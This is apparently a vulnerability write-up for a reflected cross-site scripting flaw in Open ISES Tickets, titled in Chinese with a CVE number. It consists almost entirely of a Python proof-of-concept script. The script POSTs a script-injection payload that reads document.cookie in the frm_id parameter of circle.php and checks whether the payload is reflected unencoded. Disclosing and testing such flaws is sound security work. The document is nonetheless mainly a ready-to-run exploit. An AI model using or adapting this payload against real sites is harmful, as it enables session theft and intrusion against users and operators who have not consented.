CVE-2026-48215 Open ISES Tickets 反射型XSS漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://example.com/circle.php" # Malicious payload designed to break out of the input value and execute JS # Payload: "><script>alert(document.cookie)</script> payload = '"><script>alert(document.cookie)</script>' # POST data containing the exploit in the vulnerable parameter post_data = { "frm_id": payload } try: # Sending the request response = requests.post(target_url, data=post_data) # Checking if the payload is reflected in the response without encoding if payload in response.text: print("[+] The application is vulnerable to Reflected XSS.") else: print("[-] Exploit failed or payload was sanitized.") except Exception as e: print(f"Error: {e}")